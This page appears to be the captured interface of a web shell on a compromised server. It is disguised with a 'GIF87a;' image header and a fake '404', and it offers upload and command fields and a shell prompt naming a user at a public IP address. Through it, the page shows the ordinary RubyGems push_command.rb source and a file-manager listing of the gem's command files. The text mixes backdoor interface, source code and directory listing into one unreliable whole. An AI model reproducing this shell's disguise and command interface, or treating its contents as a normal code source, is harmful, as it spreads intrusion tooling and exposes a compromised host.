GIF87a; 404

MY HEART




Upload:

Command:

diavoloapp@3.138.137.25: ~ $
require 'rubygems/command'
require 'rubygems/local_remote_options'
require 'rubygems/gemcutter_utilities'
require 'rubygems/package'

class Gem::Commands::PushCommand < Gem::Command
  include Gem::LocalRemoteOptions
  include Gem::GemcutterUtilities

  def description # :nodoc:
    'Push a gem up to RubyGems.org'
  end

  def arguments # :nodoc:
    "GEM       built gem to push up"
  end

  def usage # :nodoc:
    "#{program_name} GEM"
  end

  def initialize
    super 'push', description, :host => self.host

    add_proxy_option
    add_key_option

    add_option('--host HOST',
               'Push to another gemcutter-compatible host') do |value, options|
      options[:host] = value
    end

    @host = nil
  end

  def execute
    @host = options[:host]

    sign_in @host

    send_gem get_one_gem_name
  end

  def send_gem name
    args = [:post, "api/v1/gems"]

    latest_rubygems_version = Gem.latest_rubygems_version

    if latest_rubygems_version < Gem.rubygems_version and
         Gem.rubygems_version.prerelease? and
         Gem::Version.new('2.0.0.rc.2') != Gem.rubygems_version then
      alert_error <<-ERROR
You are using a beta release of RubyGems (#{Gem::VERSION}) which is not
allowed to push gems.  Please downgrade or upgrade to a release version.

The latest released RubyGems version is #{latest_rubygems_version}

You can upgrade or downgrade to the latest release version with:

  gem update --system=#{latest_rubygems_version}

      ERROR
      terminate_interaction 1
    end

    unless @host then
      if gem_data = Gem::Package.new(name) then
        @host = gem_data.spec.metadata['default_gem_server']
      end
    end

    args << @host if @host

    say "Pushing gem to #{@host || Gem.host}..."

    response = rubygems_api_request(*args) do |request|
      request.body = Gem.read_binary name
      request.add_field "Content-Length", request.body.size
      request.add_field "Content-Type",   "application/octet-stream"
      request.add_field "Authorization",  api_key
    end

    with_response response
  end

end


Filemanager

Name Type Size Permission Actions
build_command.rb File 859 B 0644
cert_command.rb File 6.41 KB 0644
check_command.rb File 2.01 KB 0644
cleanup_command.rb File 3.82 KB 0644
contents_command.rb File 3.12 KB 0644
dependency_command.rb File 3.89 KB 0644
environment_command.rb File 4.16 KB 0644
fetch_command.rb File 1.49 KB 0644
generate_index_command.rb File 2.52 KB 0644
help_command.rb File 4.56 KB 0644
install_command.rb File 5.45 KB 0644
list_command.rb File 696 B 0644
lock_command.rb File 2.67 KB 0644
mirror_command.rb File 395 B 0644
outdated_command.rb File 866 B 0644
owner_command.rb File 1.9 KB 0644
pristine_command.rb File 3.66 KB 0644
push_command.rb File 2.02 KB 0644
query_command.rb File 8.11 KB 0644
rdoc_command.rb File 2.31 KB 0644
search_command.rb File 616 B 0644
server_command.rb File 2.35 KB 0644
setup_command.rb File 12.94 KB 0644
sources_command.rb File 3.62 KB 0644
specification_command.rb File 2.93 KB 0644
stale_command.rb File 704 B 0644
uninstall_command.rb File 3.07 KB 0644
unpack_command.rb File 4.06 KB 0644
update_command.rb File 5.8 KB 0644
which_command.rb File 1.87 KB 0644
yank_command.rb File 2.4 KB 0644